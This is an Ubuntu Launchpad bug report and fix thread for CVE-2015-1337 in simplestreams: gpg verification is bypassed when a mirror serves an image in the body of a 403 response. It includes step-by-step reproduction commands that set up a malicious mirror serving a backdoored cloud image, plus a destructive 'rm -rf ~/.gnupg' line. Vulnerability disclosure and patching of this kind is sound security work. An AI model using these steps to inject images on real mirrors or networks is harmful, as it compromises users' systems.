Malicious server can bypass gpg verification and inject malicious images

Bug #1487004 reported by Robie Basak
258
This bug affects 1 person
Affects Status Importance Assigned to Milestone
simplestreams (Ubuntu)
Fix Released
Undecided
Unassigned
Trusty
Fix Released
Undecided
Unassigned
Vivid
Fix Released
Undecided
Unassigned
Wily
Fix Released
Undecided
Unassigned

Bug Description

If the image file returned by an HTTP simplestreams mirror is returned in the body of a 403 response instead of a standard 200 response, then simplestreams fails to verify the gpg signature yet still returns the image to the caller to be treated as verified. A malicious mirror operator can exploit this behaviour to inject arbitrary disk images to a client posing as signed simplestream images (such as Ubuntu cloud images). If the client isn't using HTTPS (reasonable since simplestreams is supposed to be end-to-end authenticated with gpg) then a man-in-the-middle attack can also achieve malicious image injection in the same way.

My example case does this to a uvtool user; bug 1485785 suggests to me that the same mechanism can used to compromise images registered in Glance in a production OpenStack deployment.

Steps to reproduce:

1. Start with a fresh Trusty install (I used LXC).
2. sudo apt-get update && sudo apt-get -y install uvtool simplestreams ubuntu-cloudimage-keyring apache2
3. Mirror an image from the upstream Ubuntu cloud image source: sudo sstream-mirror --keyring /usr/share/keyrings/ubuntu-cloudimage-keyring.gpg --max 1 http://cloud-images.ubuntu.com/releases /var/www/html/releases release=trusty arch=amd64 ftype=disk1.img
4. Now copy the mirrored image found in /var/www/html/releases/server/releases/trusty/ to /var/www/html/backdoored.img and maliciously modify it as you wish. mount-image-callback is a useful tool to do this, but cannot run inside LXC. For example, inside the container I did: "sudo cp /var/www/html/{releases/server/releases/trusty/release-20150814/ubuntu-14.04-server-cloudimg-amd64-disk1.img,backdoored.img}" and then, from the host: "sudo mount-image-callback /var/lib/lxc/test2/tmpfs/delta0/var/www/html/backdoored.img chroot _MOUNTPOINT_ passwd root"
5. Force the authentic image URL to 403: sudo chmod 0 /var/www/html/releases/server/releases/trusty/*/*
6. Arrange for the 403 error document to contain the malicious image: sudo sed -i '/DocumentRoot/a\ ErrorDocument 403 /backdoored.img' /etc/apache2/sites-available/000-default.conf
7. Restart Apache: sudo service apache2 restart
8. Work around gpg/simplestreams sudo file ownership issue (DO NOT DO THIS ON YOUR OWN MACHINE!): sudo rm -rf ~/.gnupg
9. Make sure you belong to the libvirtd group for uvtool libvirt access: newgrp libvirtd
10. Sync from local mirror: uvt-simplestreams-libvirt sync --source http://localhost/releases/ arch=amd64 release=trusty

Expected behaviour: gpg authentication failure, file not mirrored

Actual behaviour: malicious image mirrored. Verify by examining the contents of /var/lib/uvtool/libvirt/images/ using mount-image-callback (in my example, you'll see the password I set in /etc/shadow), or if on bare metal, just firing up a VM with uvt-kvm should demonstrate (I've not verified it this way).

Credit is due to bug 1485456 and 1485785 which made me suspicious enough to do some further investigation.

Tags: patch
Revision history for this message
Scott Moser (smoser) wrote :

This is my current proposed fix.
Basically what we do is create a 'ChecksummingContentSource' and pass it as the contentsource when calling 'insert_item'.

That contentsource will raise exception if expected size amount of bytes are read and size is available.
We log warning if no checksums are available in the source information.

If there is no 'size' available, currently that would require the consumer of this to invoke 'check'

Its non-trivial to automatically do that, as we can't just do it in 'close()' as close could be done for any reason and the caller would not generally expect a exeption to be raised.

comments?

Revision history for this message
Robie Basak (racb) wrote :

Very quick (30 second look). I agree with the principle of the fix. For the development release, perhaps this should fail hard if size is unavailable, requiring the API user to explicitly disable checksumming if reading with size unavailable is required.

Revision history for this message
Robie Basak (racb) wrote :

Note that I have no objection to altering the consumers instead for a stable fix. I favour this method for a development fix though.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

This is CVE-2015-1337

Scott Moser (smoser)
Changed in simplestreams (Ubuntu Trusty):
status: New → Confirmed
Changed in simplestreams (Ubuntu Vivid):
status: New → Confirmed
Changed in simplestreams (Ubuntu Wily):
status: New → Confirmed
no longer affects: simplestreams (Ubuntu Precise)
Revision history for this message
Scott Moser (smoser) wrote :
Revision history for this message
Scott Moser (smoser) wrote :

hi. see attached, i think this is ready go go.
I'm not sure really what the next step is for a security upload.

I will plan on just easily making a new tarball upload for trunk to wily, so i've not done that here.

Revision history for this message
Scott Moser (smoser) wrote :
Revision history for this message
Scott Moser (smoser) wrote :
Revision history for this message
Scott Moser (smoser) wrote :

updated debdiffs to remove .pc and non debian/ dir changes. I had used bzr diff -r to do them.

Revision history for this message
Scott Moser (smoser) wrote :

Attaching a script that automates all of the original reporter's bug report.

Revision history for this message
Scott Moser (smoser) wrote :
Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package simplestreams - 0.1.0~bzr354-0ubuntu1.15.04.1

---------------
simplestreams (0.1.0~bzr354-0ubuntu1.15.04.1) vivid-security; urgency=medium

  * SECURITY UPDATE: insufficient verification of GPG signatures
    allowing malicious injection into images
    - debian/patches/lp1487004-use-checksumming-reader.patch: Ensure
      that users of the BasicMirrorWriter get exceptions when importing
      data that has invalid checksum or sizes. (LP: #1487004)
    - CVE-2015-1337
    - debian/patches/lp1487004-sru-safetynet.patch:
      provide a backwards compatible behavior via setting
      SS_MISSING_ITEM_CHECKSUM_BEHAVIOR=silent. See bug for more info.

 -- Scott Moser <email address hidden> Tue, 22 Sep 2015 16:32:45 -0400

Changed in simplestreams (Ubuntu Vivid):
status: Confirmed → Fix Released
Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package simplestreams - 0.1.0~bzr341-0ubuntu2.2

---------------
simplestreams (0.1.0~bzr341-0ubuntu2.2) trusty-security; urgency=medium

  * SECURITY UPDATE: insufficient verification of GPG signatures
    allowing malicious injection into images
    - debian/patches/lp1487004-use-checksumming-reader.patch: Ensure
      that users of the BasicMirrorWriter get exceptions when importing
      data that has invalid checksum or sizes. (LP: #1487004)
    - CVE-2015-1337
    - debian/patches/lp1487004-sru-safetynet.patch:
      provide a backwards compatible behavior via setting
      SS_MISSING_ITEM_CHECKSUM_BEHAVIOR=silent. See bug for more info.

 -- Scott Moser <email address hidden> Tue, 22 Sep 2015 17:12:43 -0400

Changed in simplestreams (Ubuntu Trusty):
status: Confirmed → Fix Released
Steve Beattie (sbeattie)
information type: Private Security → Public Security
tags: added: patch
Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package simplestreams - 0.1.0~bzr400-0ubuntu1

---------------
simplestreams (0.1.0~bzr400-0ubuntu1) wily; urgency=medium

  * New upstream snapshot.
    - sstream-mirror, sstream-query, sstream-sync: add --no-verify
      flag (LP: #1249018)
    - pep8/flake8 cleanups
    - several closing of filehandle fixes (LP: #1461181)
    - GlanceMirror fix stack trace if no matching entries (LP: #1353724)
    - tools: upstream development tools fixes (not shipped in ubuntu)
    - GlanceMirror: change known Ubuntu arches into appropriate glance
      arch values (LP: #1483159)
    - Ensure all users of 'sync' get checksumming of content by default.
      insert_item now provides a content source that does checksumming
      during reads and raises exception on error (LP: #1487004)
  * debian/README.source: add file, doc how to take upstream snapshot
  * debian/rules: export SS_REQUIRE_DISTRO_INFO so that test
    runs without a dependency on distro-info

 -- Scott Moser <email address hidden> Thu, 24 Sep 2015 21:53:46 -0400

Changed in simplestreams (Ubuntu Wily):
status: Confirmed → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.